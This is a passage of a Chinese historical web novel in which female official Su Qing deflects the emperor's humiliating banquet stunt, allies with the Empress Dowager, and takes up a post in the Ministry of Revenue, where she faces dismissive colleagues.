“这种日子,什么时候才有尽头。”顾从斯喃喃道。 只有在苏清这里,他才能说出行踪所感。 他也知道,苏清明白他的意思。 永晟七年,四月二十三。 皇上千秋。 今年三十五的他,已经当了七年的皇帝。 从跟太后争权,再到叛军四起。 到如今掌握那么多忠臣。 他还是很满意自己的治下。 至少在他治下,并无太大战乱。 各地税收也算不错,算得上太平安稳。 各地臣子愈发忠诚,他自然无比满意。 想到这,皇上向来苍白的脸上,浮现一丝红晕。 太医把过脉,连忙道:“近来皇上身体愈发好了。” 不止是益气养神丸的作用。 皇上还派人寻找各地良药。 当然要人试过才肯入口。 期间还有庸医推荐丹药,被皇上直接秘密砍了。 丹药都是骗人的,唯有保护好身体才是真的。 他如今不过三十五,这皇位他还能坐很久。 唯一美中不足的。 便是还没有子嗣。 皇上又道:“妃子们把过脉了吗。” 梁公公连忙答是。 但并未有好消息。 皇上闭上眼。 没关系,他还年轻,有的是时间。 “请陛下更衣,吉时就要到了。” “今日可是皇上的好日子,群臣们都等着呢。”孙公公凑上前去,说了无数吉祥话,终于把气氛挽回。 等皇上笑眯眯去换礼服。 孙公公梁公公看了看对方,眼神带着厌恶。 此时的正殿外,文武百官早已穿戴礼服站定。 各家夫人女眷皆是如此。 百官当中,正四品的官员苏清虽然并不在前列,但最引人注目。 她穿着官员礼服,整个人高挑挺拔,看着不亚于身边男子。 再加上她并不掩饰自己女子身份,带着的荷包香囊也是女子样式。 整个人在官员队伍里格外醒目。 后方官员家眷伸头看了看。 兵部侍郎家的冯小姐也在其中,低声同身边人道:“一会我带你去跟苏大人打招呼。” “她人可好了。” “放心吧,不用怕。” 一部分女眷在看苏清。 还有一部分在看最前面的铮王爷。 玄黑色礼服袖子宽大,腰身扎紧,更显王爷身姿不凡。 这还是他回京后第一次露面。 晏铮州往后看了看,正好看到跟身边人交谈的苏清。 跟苏清说话的,也正是正五品的顾翰林。 顾从斯跟同僚换了位置,正好跟苏清一前一后。 她身边,还有去年认识的小海大人小刘大人。 全都凑在苏清谈天说地。 苏清看了看天,问道:“这会巳时了吧。” 从早上五六点到的。 现在快十点了。 皇上在寝宫生孩子呢? 在京城时间久的官员,早就习惯了。 “等着吧,宴会要等下午才开始。”小海大人道。 “对啊,吃不吃饼。”小刘大人递过来糕饼。 顾从斯忍了忍,说起今日流程:“皇上正在沐浴更衣,一会带着百官祭天地祭祖庙。” “所以时间要久些。” 苏清一边吃饼一边点头。 这是真的会折腾人。 不过苏清也知道,这是为了彰显皇帝威严,以此区分尊卑贵贱。 但她吃了饼后,又道:“还有别的吗,好饿。” 后面有人递来梅子糖:“我家自己做的,苏大人尝尝。” 苏清来者不拒。 一会又有人递过来果脯。 这一圈人吃的不亦乐乎。 直到有太监出来提醒,顾从斯也跟着礼部去忙,大家才擦擦手站直身子,准备迎接皇上。 再看看日头,已然是巳时正刻,就是上午十点。 接下来的流程跟顾从斯说的一样。 祭拜天地,祭拜祖庙。 十多篇祭文,文辞飞扬,歌功颂德,细数永晟皇帝功绩。 平广乐,战皋青,镇匪乱,国泰民安,吏治清明,海运即开,永保太平。 苏清听到最后差点笑出声。 苏清身边官员也是一幅说不出的表情。 倒是最前面皇帝太后两人神色严肃,明显被祭文感动了。 不错,说着说着,还把自己说哭了。 苏清站在最后面,显得极为无聊。 一个侍卫走到她面前,趁其他人不注意塞了个荷包过来。 侍卫往铮王爷方向看了看,低声道:“苏大人,终于见到您了!” 啊? 见苏大人疑惑,侍卫做了个包扎的手势。 那手法其他地方没有的,是从南江县传出来。 也就是苏清的当时规定的科学包扎法。 这是在南江县打过仗的士兵。 苏清笑着点头,对方又指了指荷包,然后迅速离开。 苏清看了看荷包里的东西。 全都是风干的鹿肉脯。 苏清笑眯眯吃了块,总算有个让人开心的事。 等苏清吃饱喝足,前面祭祀终于完成。 文武百官移步秀越园,里面已经摆好宴席,等着百官共庆千秋宴。 另有太监小步过来,笑着道:“陛下有请,说这次千秋宴也是您的庆功宴,还请苏大人前面坐。” 苏清笑。 祭天地的时候,不把真正的功臣请过去。 就连最近的晏铮州也不能靠前。 现在吃宴了,倒是把她喊过去,而且绝口不提另一个人。 苏清倒不是为晏铮州抱不平。 而是这般小心眼的做派,确实是皇上能做出来的。 她算是发现。 皇上以前还要点脸面。 现在觉得皇位坐稳,似乎就不在意了。 面对众人艳羡的目光,苏清依旧带着淡淡的笑,似乎看不出她的喜怒哀乐。 但她跟人对视时,却又觉得如沐春风。 等苏清走远了,小海大人才道:“一年不见,苏大人更添风采。” 还是那种运筹帷幄的风采,坚定的风采。 似乎在她身边,一切都是稳定的。 这种感觉让人忍不住想靠近。 是独属苏清给人带来的感觉。 众目睽睽下,苏清走到队伍最前面,朝太后皇上行礼。 她还是头一次见面太后娘娘。 只见约莫五十出头,她双眉蹙起,看向苏清的目光带着审视跟凌厉。 换了旁人被这般盯着,说不定两股战战。 可苏清却开口道:“久慕太后娘娘之名,今日幸而得见。” 太后审视的目光少了些,稍稍点头:“当年你做县令,也是哀家开的口,如今看来着实不错。” 苏清再次谢过,说话也比平时要甜:“若非太后娘娘,怎会有微臣如今。” “广乐府许多女官书吏,都对太后娘娘心有感激。” 皇上皱眉,明显有些不耐烦。 旁边孙公公连连提醒:“宴会马上开始了,还请陛下,太后娘娘移步。” 皇上请母后先行,太后嘴角带了微不可查的冷笑。 这对母子分别坐上十八抬龙凤车撵。 后面皇亲国戚文武百官跟上。 苏清正好跟晏铮州并肩。 两人目不斜视,苏清手指微微碰了下鹿肉荷包,晏铮州勾了勾唇。 到了秀越园,看着新移植的名贵花木,崭新的亭台楼阁。 不错,也算知道税银花到哪了。 宴会开始,拜过皇帝太后,各自落座,百官各有列次。 作为庆功宴主角之一,苏清就在晏铮州旁边,两人位置都极靠前。 而他们对面,则是刚刚露面的数十宫妃。 后面坐着的那位低着头,明显不敢看人。 苏清直直看过去。 不出意料的话,那正是沁贵人。 而她一身红衣。 跟她琼林宴那身极像。 苏清放下茶杯,看了眼主位。 皇上正打量她,明显带着窥探意味。 但做官这么多年,她早已喜怒不形于色,只当不知道。 宴会上发现这一幕的,自然不知苏清一人。 趁着歌舞奏乐,下面官员议论纷纷。 “沁贵人跟苏大人,真的有六七分相像。” “这身衣服是沁贵人自己选的吗,跟苏大人琼林宴上那身差不多。这就不止六七分像了。” “只是气质不同,贵人一直低着头。” “皇上,到底什么意思?” 是啊,皇上到底什么意思。 所有人心里都这般想。 难道真的想纳苏清为妃? 不少官员心里升起不自在。 苏清是女子,这点没错。 可她也是官员,还是个有实打实政绩的官员。 她被如此对待,让所有真心为国的官员,心里都一阵屈辱。 尤其是吏部尚书。 去年这种情况,便是他让家中仆从全经武去报信。 没想到躲过一时,却又有一次。 吏部尚书老态龙钟,看着身边同僚,众人的脸色跟他差不多。 但更多官员则是兴奋。 打量苏清,再打量皇上,酸言酸语道:“当女的就是好,皇上这般重用,原来是有原因的。” “你我若是女子,说不定也能坐到前列。” 负责宴会的礼部官员顾翰林听到此话,给身后人使了个颜色。 这官员很快因为殿前失仪被请了出去。 顾从斯看向前面的苏清,手掌满是血痕,看向皇上的眼神,甚至带了憎恶。 忠君爱国。 是他这个儒生当年最信奉的话。 所以一路追随去往金陵,一路护驾,并在太后皇上之争里,坚定站了皇上。 现在看来,一切都让他恶心。 苏清却投来安抚的目光,朝他轻轻摇头。 别在意这些。 顾从斯脸色稍缓,又一道目光盯着他。 晏铮州接着礼服衣袖,碰了碰苏清手腕,让她回神,眼神却在顾从斯身上。 苏清刚要说什么,就见原本低头含胸的沁贵人被旁边人搀扶起来。 见她深吸口气,朝皇上走去。 趁着歌舞停歇,沁贵人声音柔美,努力让自己保持镇定:“今日陛下千秋,妾有一舞献与皇上。” 皇上哈哈大笑:“好,朕必要好好欣赏爱妃的舞姿。” 满场安静。 太后也不敢置信地看了自己长子。 这是在干什么? 找一个跟自己臣子极为相似的妃子,就已经是羞辱了。 让这个妃子穿着跟臣子极为相似的衣裳献舞。 这又是干什么? 是怕民间的流言不够多吗? 还是怕臣子们的议论不够难听? 即便是太后都觉得这种手段对苏清太过残忍。 她不是只凭女子身份坐上这位置的。 她明明是靠这自己,一步步走来,甚至比其他人来的更要艰辛。 但乐声已起。 沁贵人身段柔美,看得众人目不暇接。 单论舞蹈,自是美不胜收。 可旁边坐着苏大人啊! 这让他们怎么看! 又或者,若苏大人跳这舞? 再看苏大人的表情似笑非笑,眼里倒是有着对沁贵人的欣赏。 沁贵人一舞毕,朝皇上行礼:“妾献丑了。” “怎么会是献丑,美,实在太美了。”皇上又笑,“这般身姿,不是谁都有的。” 苏清面上镇定自若,心里忽然有点反胃。 不是为眼前的事,是为如今的情景。 现在这场面,说句可笑也不为过。 可她若是忍了。 那也不是她了。 苏清起身,踩住晏铮州的袖子,让他不要轻举妄动,自己笑盈盈道:“恭贺皇上千秋。” “皇上得如此佳人,实在是可喜可贺。” 众人看向苏清时,眼里难免带了同情跟审视。 同情她作为官员的体面。 审视她是否要进皇上的后宫。 看皇上的样子,只要她愿意进后宫,必然一步登天,不会再是个小小的四品官员,更不会像这般被羞辱。 而且以她的聪明,未必不能做皇后。 如今后位空悬。 她又是极厉害的。 皇上笑:“可惜她美貌有余,就是不算聪明。” 沁贵人不言,只是立在一旁。 皇上的话,确实是十足的明示了。 更姣好的相貌,更聪明的人。 那不就是苏清吗。 苏清也笑,看得皇上心动,不过想到什么,又压了下去。 “说起美貌聪明,微臣倒是想到太后娘娘。” 太后? 太后自己都奇怪。 怎么突然提到她。 苏清拱手:“民间有句俗语,孩子的出生日,便是母亲的受难日。” “太后娘娘当年必是千难万难,才有了自己的孩子。” “说起美貌聪明,顺昌国内,必属娘娘了。” 孩子出生日。 母亲受难日。 这句话放到后世来说,都会让孩子背负巨大的心理压力。 何况提倡孝道的现在。 太后眼神微动。 似乎想到三十五年前的今日。 当时想要害她的贱人可太多了。 她年轻貌美,又有皇上宠爱,还要生下孩子。 天知道她部署了多久,筹划了多久。 才终于让孩子平安降生。 那日,确实是她的受难日。 “虽然这样说有些大不敬,但看到您就想到我娘。”苏清语气真挚,说起梅娘,“我娘人称梅娘,是个顶顶心善的,自己有口吃的,就绝不会少了我跟弟弟的。” “当年父亲为国尽忠,死在城楼上。” “母亲带着我跟五岁的弟弟尽力保护,叛军也好的,贼人也好的,明枪暗箭也好,她都护着我。” “当时我受了伤,母亲其实也有伤,但她忍着不说,还日夜照顾我。” “没有她就没有我。” “若我得一分,就该给她十分。” “微臣当的官越高,管的人越多,就越是欠母亲的。” “所以我苏清这辈子都是欠母亲的。” “天生就欠。” 苏清话音落下。 后面的女眷桌上不停垂泪。 谁没有真心保护过自己孩子啊,那可是自己生养的。 而太后更是点头。 说的没错。 说的太好了。 “虽不认识梅娘,哀家却跟她却有些像。” “越是危急时,却要护着孩子。” 说到这,太后声音冷了些:“虽说孩子天生欠母亲的,但只要孩子好,就可以了。” 这明显是反话。 原本洋洋得意的皇上像是吃了屎一样。 好不容易压制住太后。 又恰逢千秋宴。 竟说这些话。 孩子出生日,是母亲受难日。 苏清哪里来的歪理邪说。 但这话,又无从反驳。 太后见此,终于有了笑意:“今日一宴,果然是极好的。” “苏大人,你母亲可有诰命,如此贤德之人,是该做妇人表率的。” 苏清拱手:“回太后娘娘,母亲并无诰命。” “那就赐苏清母亲梅娘四品诰命,再次哀家常服两身。” “希望天下间的母亲,都有你这般孩子,能这般恭顺孝敬。” 话里含沙射影,自不必说。 苏清领旨谢恩,带着众人再次谢过太后娘娘。 皇上的千秋宴上,不仅要恭贺皇上,还要感激太后。 看着陛下表情,人人都觉得后背发凉。 不过这事也不能怪苏清啊。 好端端的,惹她干什么。 搞什么沁贵人献舞来恶心人。 现在人家三言两语来恶心你。 再看太后的架势,明显想要继续掌权,又给她燃起夺权之心了。 皇上最近的好日子,似乎结束了?—— 作者有话说:求求预收QAQ下本开《寡妇外卖通三界》 一朝穿越,苏宝瑜就成了十里八乡远近闻名的寡妇。 没办法,谁让她刚过门就死了相公。 娘家夫家都嫌她晦气,把她关在小庙里度日。 苏宝瑜摸摸没有油水的肚子,再看看跟着穿越一起过来的外卖系统。 她好像不仅可以点外卖,还能开设自己的店铺? 苏宝瑜试着把自己做的香炸小黄鱼放到店铺里。 人间客户购买,并留下评论:“从未吃过这么新鲜无污染的鱼肉!”!!!真的可以赚钱! 苏宝瑜又看到一条评论:“这家外卖不错,我的阴气又重了。”??? “吃了之后法力值增加了,好评来自仙界。”??? 不是吧,你们都谁啊。 苏宝瑜的外卖店铺爆火,她的宣传语也愈发响亮。 寡妇外卖,有一种死了老公的美感! 酆都大帝眼皮直跳,怪不得手下看他眼神都不对了。 苏宝瑜外卖事业做的红火,突然有一天,某个顾客说要到店吃饭。 这不合适吧,谁知道来的是人是鬼。 三天后。 苏宝瑜:来的不是人也不是鬼,是她死了又回魂的老公? 80-85 第81章 苏清准备坐回位置时,看到一旁的沁贵人正看着她。 苏清朝她笑笑,自己怎么会迁怒旁人。 再说她跳舞确实好看的。 沁贵人明显松口气,眼神带了感激。 她本就因受宠在后宫树敌无数,实在不想招惹任何人。 这身衣服,甚至这个舞,都是皇上挑的。 还让她秘密练习,在千秋宴上献舞。 如果放在刚进宫时,她肯定欣喜若狂,以为这是皇上的宠爱。 但现在的她早就明白,自己不过是个工具罢了。 为了恶心人的工具。 还好苏大人不计较。 苏清肯定不计较,她正看戏呢。 太后不过五十出头,正是拼的年纪呢。 这朝堂上那么多老头,可比她年纪大多了。 不能轻易放弃啊! 有苏清这个开头,后面恭祝皇上千秋的王公大臣,肯定要连带恭贺太后娘娘。 文武百官贺完寿,皇上的脸上已经难看到极点。 太后表情越来越高兴。 他的千秋宴,竟成了给太后搭台子。 皇上盯着苏清,可太后却不给他发难的机会,又夸了苏清几句,赐下无数礼物。 “真是个孝顺孩子,有你这样的孩子在,你母亲肯定很高兴,她如今在做什么。” 苏清笑道答:“母亲在南江县住下,梅家来了几个小辈,正带着他们读书识字。” 这让太后更是高兴。 苏清的母亲可真幸运。 女儿孝顺,让她扶持娘家人。 太后撇了皇上一眼,明显在说,看看人家,再看看你。 太后娘家忍不住抬头。 这次重新审视苏清。 他们一族被皇帝打压的厉害。 没想到竟是靠她一番孝道之说,重新有了精神。 这样的人才,以前怎么就没想到归于己用啊。 四月二十三这场千秋宴结束,各方想法都有不同。 不过也没人提起沁贵人的事。 明眼人都知道,她不过是用来攻击苏清的靶子。 但人家苏清不仅还回去了。 似乎还立刻找上靠山。 千秋宴结束第二日,苏清就被召到宫中。 这次召见她的人,正是太后娘娘。 太后寝殿务必奢华,踏进门内,香薰环绕,仿若云端。 要说古代五十多的女子,多是当祖母的年纪,住处一般都素净质朴些。 但太后此地偏偏不是,看着雕梁画栋,好一派生活气息。 这样的人,绝对不可能轻易放权。 想想也是,太后娘家并不显赫,靠着她的手腕美貌当上宠妃,还有了两个儿子。 一路来的辛苦,只有她最清楚。 这样得来的东西,即使是自己儿子,也不可能放手。 放在谁身上都是如此。 可以共患难,却不能共富贵。 太后必然不满的。 只是皇帝到底是皇帝,有着名正言顺的权力。 自去年会试,就把她打压下去。 没想到此次千秋宴,又给了她机会。 而这个机会,正是苏清给的。 冲着这点,她都要好好亲近亲近苏清。 苏清昨日说出那种话,也做好了被拉拢的准备。 双方一拍即合,坐在风景优美的花厅里闲谈。 苏清还看到太后娘娘身后的女官,稍稍愣了下。 太后笑:“上次琼林宴,就是崔娥女官去请的你吧。” 还是皇上点名让崔女官去请。 当时太后跟崔娥都知道苏清要面对什么。 更知道为什么要让太后的人去请,颇有些宣告胜利的意思。 还好,苏清没有落入陷阱。 崔女官回来,还跟太后说了此事。 没想到一年后,她们又见面了。 苏清笑着起身行礼:“当时也多谢崔女官提醒。” 要说苏清跟太后,其实都不算好惹的人。 此刻倒是尤为和睦。 看着苏清,太后难免想起一桩往事:“其实我有过一个女儿。” 皇上跟晏铮州之间相隔十岁,中间怎么会没有子女。 她的二女儿就是在长子出生四年后生下的。 当时皇上马上五岁,要开始正式启蒙。 就是那会,她疏忽对女儿的照料,死在襁褓当中。 为此先皇觉得她疏忽大意,连自己孩子照顾不好,十分气恼。 若不是她苦苦哀求,长子就有可能被他人夺走。 “若她还在,说不定能替哀家分忧。”太后叹口气,难得真情流露。 苏清静静听着,并未打断。 等太后好了些,开口道:“千秋宴结束,你是否要回广乐府了?” 苏清道:“回太后,微臣已经递了帖子到吏部,待圣上批了,就会启程。” 太后听此直言道:“只怕你回不去了。” 此言一出,旁边的崔女官并不惊讶。 宫内显然已经知道。 苏清却面露诧异:“怎么会。” 她留任广乐府,这才第一年而已。 “怎么在这事上糊涂了。”太后道,“从南江县算起,你在广乐府已经七年时间。” “连花家都听你的,又跟皋青州颇有联系。” 剩下的不必再说。 如果是太后掌权,她也不会允许苏清继续留下来。 皋青州加上广乐府,还有当地十六万驻军。 她就是野心不够,若掌握了十六万军队,就是把这一片全都握在手中。 以她的民心,只要她开口,这几个地方百姓肯定跟随。 这种隐患,皇上不可能看不到。 其他小事上,他都吹毛求疵,何况这种事。 “皇上并非怀疑你的忠心。”太后慢悠悠道,“只是君子不立危墙。” 苏清答是。 似乎已经接受她不能回广乐府的命运。 太后又道:“那你想过,再去哪里做官吗? 这样问起来,好像天下间所有地方,任由她选择。 但苏清也好,太后也好。 心里都明白的。 皇上大概率不会让她出京。 否则就不会有昨日那一出戏了。 按照皇上的计划。 就是让大家猜测他对苏清的想法,以及两人的关系。 接着顺理成章留她在京城,颇有些明升暗降的意思。 借着升官,夺了她的实权。 在她的升官路上,还添了条桃色新闻。 昨日的明争暗斗,至少说明苏清没有这个意思。 但不会妨碍皇上继续进行他的计划。 按理说,此事去年就要办的。 可去年苏清要收拾花家,才延迟了一年。 好在一年而已,苏清也翻不起大风浪。 今年留她在京,不过是旧事重提。 见苏清不答,太后道:“你这般聪明,肯定想到了。” “对你来说,留在京城,肯定不如去到地方。” “虽是女子,但在地方上,照样能建功立业,拿出不错的政绩。” “但留在京城,就不止是能力说话了。” 这话虽直白,却说到点子上。 苏清在朝中的地位,就是靠着政绩一点点出来的。 任谁都不能越过她。 现在把她弄到京城,等于斩断靠政绩说话的这条路。 这条路没了。 那她要如何在京城立足。 “你既无家世,也无亲族,更没有功名,还是个女子。”太后直白道,“你要靠什么立足?” 若是个男的,还能找个好岳父,算是有了靠山。 但她不行。 各家娶妇难免多想,娶她进门,全力扶持她继续做官? 那也太难了。 娶到后宅又不划算,这人又太聪明是个威胁。 前前后后,似乎所有路都给堵死了。 太后道:“不如效忠哀家,哀家正需要你这样聪明的女子。” 她想继续掌权,势必要跟皇上斗上一斗。 昨日看苏清伶牙俐齿,就知道她是个好助力。 正巧她留在京城孤立无援。 现在自己雪中送炭,必然能让对方低头臣服。 说来说去,就一件事。 想拉拢苏清。 只见苏清脸上浮现惊喜,显然是答应的。 “微臣在京中确实无法立足,有太后扶持,必然能做出一番事业。” 太后跟崔女官十分满意。 太后拍着苏清的手:“果然是聪明人,放心,哀家不会亏待你。” 等苏清离开皇宫,消息便传到勤政殿皇上耳朵里。 太后跟苏清聊了什么,皇上虽不知道,但猜也能猜出来。 必是两人联手,来对付自己。 “母后到底想做什么的!” 皇上忍不住道:“她到底想干什么。” 以前的慈母到底哪去了。 从小全心全意的护着他,还让他登上皇位。 却还要跟他夺权。 这哪里有慈母的样子。 现在还要跟外人一起对付自己。 她是个母亲! 为什么要这么做的! 如果苏清知道皇上的想法,肯定要说一句。 不能在太后跟先皇争权的时候夸她是慈母。 人家说不定爱的就是争权,跟你争,或者跟先皇争都差不多。 当然了,也不是否认人家的母子关系。 他们的关系还是很好的。 一个去世的二公主。 还有晏铮州。 都是人家母子感情的见证。 皇上不打算让苏清回广乐府的消息,几乎一瞬间传开。 这消息让大家意外之余,又觉得正常。 只是不少人在想。 皇上是真的担心苏清掌权太过。 还是有心纳她为妃? 好像两个猜测都很合理。 不过太后出面,建议恢复苏清翰林职位,进户部当差。 “苏清所在任地,税收连年增加,让她去管国库,肯定没问题的。” 这句话就连皇上也无法反驳。 但他原本的打算,是给苏清一个闲职。 若让她去户部,这哪里是明升暗降。 这就是妥妥的升职。 皇上犹豫之时。 江南一派官员忽然上书,极为支持太后的提议。 “苏清之能力,在户部是极好的。” “有她在,国库必然充盈。” “顺昌国各地税收艰难,正需要这样的人才是啊。” 这些奏章让皇上措手不及。 明明是想抹掉苏清的功绩。 现在看来,还要继续用她。 毕竟充盈国库这件事。 他必然心动。 就在皇上犹豫之时。 广乐府同乡会天都要塌了。 方大人连夜跑到苏大人的住处,眼神都带了恳求。 “大人?您真的要留在京城了?” 大家都以为过了千秋宴后,苏大人就能回去啊。 但冷静下来后,就知道皇上疑心病肯定又犯了。 “皇上,皇上何至于此啊。”方大人说完,赶紧看看周围,深深叹口气。 苏清安慰道:“放心,广乐府不会有事的。” 多出的一年时间,她做了许多事。 而广乐府周围也是自己人。 无论谁去了广乐府,都不会影响下面正常运转。 再说。 柴总兵在那,若有大事小情,他也会帮忙。 有苏大人这句话,方大人终于放心。 可苏知府突然不是家乡知府,他还有点心痛。 如果苏大人能永远当老家的长官,那该有多好。 当然,现在有太后保举做了户部官员,似乎也不错? 作为户部郎中,方大人笑:“没想到咱们还是同僚了。” 苏清道:“还不知道是个什么官,说不定是你下属。” “别,有您在,我绝对听您的话。” 方大人说的真心实意。 朝中谁能跟苏大人比赚钱啊。 广乐府,甚至皋青州的例子都在眼前。 别的可以作假,税收不能骗人吧。 苏清但笑不语。 是啊,税收不能作假。 能力也不能作假。 所以太后说的那些话,其实也不能信。 哪有那么多规则限制,哪有那么多条条框框。 从这方面来看,皇上跟太后不愧是母子俩。 打压人跟用人的方法都是一样的。 但没关系。 她已经拿到自己想到的了。 那就是留在京城。 苏清想到自己从南江县去往广乐府府城之时。 当时她的想法很简单。 南江县被她治理的很好。 但没什么作用。 周围各县粮价物价都高,流民土匪更多。 这种情况下,想要守住南江县实在艰难。 所以她要当知府。 只有当了知府,才能让南江县一圈都太平。 做了知府,再处理了通民府海万州的事。 让苏清明白,不能继续在那一亩三分地上待着。 更不想被人随随便便召回京城。 也不想被人在宴会上取乐。 就因为她是臣子,还是女子? 虽然知道,这次进京,肯定会有麻烦。 但千秋宴上的事,还是她没预想到。 要说觉得被侮辱,也不至于。 真不生气的,那就是菩萨性格了。 可惜了,她并非菩萨。 知县当了,知府也当了。 其他位置,也该试试吧。 晏铮州悄无声息进来,走到苏清面前。 苏清摊开他的手掌,上面都是血痕:“顾从斯也是这样。” 听她提起前未婚夫,晏铮州挨着苏清坐,眼神紧紧盯着她。 苏清笑着勾住他的脖子,毫不避讳对方的眼神,轻轻亲了对方的嘴角。 晏铮州下意识搂紧她。 苏清又笑,干脆反坐在对方身上,主动加深这个吻,晏铮州抱得更紧,学得更快。 宴会上的事,总会算个总账的。 他们不会就这样忍下。 四月三十。 千秋宴过去七天时间。 广乐府从正四品知府苏清卸掉原来这份官职,升任京城户部司务厅正四品参政。 顺昌国第一个女官,七年时间,以极快的速度,从地方升任中央。 不管这些人所思所想如何。 她苏清已然手握官印。 其他的事情,就由不得别人做主。 第82章 永晟七年,五月初一。 年仅二十二岁的翰林学士,户部司务厅参政苏清到户部报道。 她一身深绯色小料罗衣,腰间金玉带十一銙,官服上绣着孔雀纹样。 在她进京时,不少人有两种猜测。 一个是她依旧回广乐府,做她的广乐府一带土皇帝。 第二个便是留在京城,明升暗贬,给个有名无实的小官。 但折腾一圈下来。 太后保举,江南官员力荐。 再加上她本身的能力。 不仅留在京城,还做了实权官员。 这可是户部。 掌管全国户口田税财政。 如果说各地户司是各州府钱袋子。 那户部就是全国的钱袋子。 放在京城六部当中,也属于前二的部门。 苏清所在的司务厅,又属于户部下面各司的前列。 这户部管辖范围如此之广,下面的分司自然不少。 分别是司务厅,照磨所,以及十三个各省司。 十三省司,一一对应十三个省,分管民科、度科、舍科、仓科。 照磨所负责文书卷宗,掌管户部内卷宗。 最前面的司务厅则为监察勾销各部门庶务。 相当于户部尚书,左右侍郎的秘书处。 此外兼管关防出入等。 苏清去的,正是这司务厅。 做的是两名参政之一。 来迎接她的,自然是方大人。 不过方大人在照磨所管着档案,并不算苏清直属下属。 “您果然是我上司。”方大人开口就是这话。 苏清笑:“不算,咱们也不是一个部门。” “那也是了。” 苏大人正四品,他不过从五品,能一样吗。 不过整个户部当中,只有方大人出现,还有些做杂事的书吏遮遮掩掩看情况。 其他官员,尤其是另一位司务厅参政并没有出现。 要说他们这些官员都是不用上朝的。 此刻应该在官署才是。 司务厅其他官员下属没有出现的意思。 就连方大人迎到司务厅也要离开了。 苏清让他放心:“又不是头一日做官,放心吧。” 都当六七年官了,这点事情要是还看不出来,那就是傻子。 方大人放心了。 也是,这可是苏清苏大人! 她怕什么! 即使如此,他还是提醒一句:“大人,若有什么难听的话,还请不要放在心上。” 这难听的话,苏清笑了。 果然,刚踏入司务厅,就听到有人阴阳怪气道:“当女的就是好,升官都比别人快。” “不用读书,不用科举。就接她爹的官了。” “都二十二了还不嫁人,老女人了啊。” “万一人家想嫁的人,就在宫里呢。” 苏清想了想晏铮州。 他以前倒是在宫里,现在不在了。 只听其他人哈哈大笑,眼神余光都在苏清身上。 而另一个赵参政开口:“不办公了吗?” 赵参政脸色难看,抬头看了眼苏清:“苏参政。” 说着,指了指旁边的位置:“你坐这。” 苏清微微挑眉,笑着拱手:“多谢。” 苏清施施然坐下,看了眼方才闲聊的众人:“你们是哪个部门的,做什么差事,叫什么,什么经历。” 要说做官,苏清不是头一年。 要说御下,更不是头一次。 她见过的文官书吏没有一万也有上千,怎么会怯场。 说话的七八人瞬间站直,又有些不服:“人在司务厅,肯定是司务厅的人啊。” “我们都是赵参政手下,不用跟您苏参政汇报吧。” 苏清微微点头,看向赵参政:“大人,那我就不多言了。” 这话一出,赵参政立刻道:“胡闹,都是司务厅的人,皆是你我手下。” “还不快跟苏参政禀明身份。” 就这群庸碌之辈,平日不知闯了多少祸事。 如果强行按在他名下,谁知道会平添多少罪名。 苏清就知道,办公时间手头无差事,要么被边缘化,要么有后台。 这几人敢如此议论自己,自是后者了。 见糊弄不过去。 七八人站的歪歪扭扭,漫不经心禀告自己的情况。 “京城阮家阮佐,永晟六年的进士,在二甲六十七名,今年二十六,现任司务厅从六品员外郎。” “淮安周家周峰年,永晟六年进士,今年二十九,现任司务厅从八品书吏。” 八个人一一说完。 除了一个永晟五年的举人外,都是新科进士。 以阮佐这个从六品员外郎职位最高。 周峰年从八品书吏最低。 但他们有个共同点。 皆出身名门,家世不错,人也年轻。 当然,是官员里面相对年轻,没有一个超过三十五。 苏清看了看一圈,现在在司务厅的十人里。 只有赵参政约莫四五十的年纪。 其他人包括自己,年纪都不大? 不是吧,古代官场也有年纪歧视? 这其实是当今皇上的喜好。 看来他确实喜欢年轻官员。 没经验,好摆弄。 就拿这八位来说,他们听风就是雨,方才那些话,正是皇上要的效果。 他们也不负众望,当了皇帝的应声虫。 “只听家世姓名年纪,办过什么差,得过什么嘉奖,有无过往履历?” 苏清面无表情,继续问道。 这,这自然是没有的。 他们都是新科进士啊! 想到苏清的履历,再想到她受到的嘉奖,甚至她母亲都被因她封了诰命。 八个人一时难以开口,像是矮了她一截。 “年纪都不小了,却无寸功。”苏清轻笑,“若考上进士,就是你们这辈子足以带入坟墓的荣耀,也是可笑。” 这是什么话?! 什么叫考上进士,就是足以带入坟墓的荣耀?! 这本来就是啊! 有什么不对吗。 正说着,门外又来了数十官吏,皆是司务厅官员。 方才在外面办差,听到苏参政来了,才不情不愿过来拜见。 听到里面的争执,不知该不该进。 但苏参政的话也太难听了。 考上进士,难道不该荣耀吗,这有什么错。 岂料苏大人知道他们不服气,又道:“外面数十官吏,户部其他各司。” “再到三司六部,鲜有不是进士出身的。对于人家来说,这只是起点,可不是什么终点。” “既然做了官,就该看看自己做了什么与国有利的事情,而不是妄自尊大,顾影自怜。” 都醒醒吧。 你们进士在京城烂大街了。 都当官了好吗,谁跟你比功名啊。 还拿这句话来讽刺她? 她在乎功名吗,要不比比官职,比比贡献? 八个人被说的脸上无光,但看着苏清的官服跟位置,又不敢真的冒犯。 外面数十人脸上也不好看。 苏大人的话虽然难听,却是他们内心写照。 好不容易考上进士,来到京城做官。 但进士而已,在此地根本不算什么。 比家世比人脉。 这些才是关键。 以前读书科举,只要努力即可。 如今却不是的。 否则他们这些人为什么只能在外做些杂事,而门内的八人却能闲聊打趣。 不就是因为门第高低不同。 进士身份? 实在可笑。 “既然做了官,那就是另一回事了。”苏清慢悠悠道,“我这里只看能力,不看出身,也不看科举名次,更不看男女。” “就你们几个,不配在我手下当差。” “说句不好听的,我手底下的秀才,都比你们好用。” 话音落下,苏清看向门外众人:“也是司务厅的人吗,进来说话。” 十三个人鱼贯而入。 只看能力,不看出身,不看科举名次。 别的官员说这些,大家可能觉得是场面话。 但此刻讲这些话的,却是苏清。 要说能力,出身,科举名次,以及性别。 谁比她更劣势呢。 现在还不是坐在参政的位置上。 在她这,唯才是举。 众人一一说了身份年纪,以及如今在做的差事。 作为司务厅,作为户部的秘书处。 大家要做的事情极多。 这个部门应该非常重要。 但他们上面还有三个小秘书处。 那就是户部尚书手底下的文官书吏,以及左右侍郎手底下的人。 他们虽然也在户部官署里,却有自己的办公场所。 所以一层层下来。 但凡重要的事情,都已经在上述三个地方一层层筛过了。 到他们司务厅时,都是些鸡毛蒜皮的小事。 甚至十三省各司有事,也是直接找左右侍郎,根本不会经过他们。 以至于他们这个原本应该重要的部门,变得鸡肋起来。 大家手头上的事,也不算大事。 这些天之骄子们,难免心灰意冷。 不过苏清知道的更多一点。 去年新科进士,除了顾从斯这种天赋异禀,又得皇上欢心的。 其他科举成绩还要另外再看。 成绩极好的,大概率是颂圣颂的好。 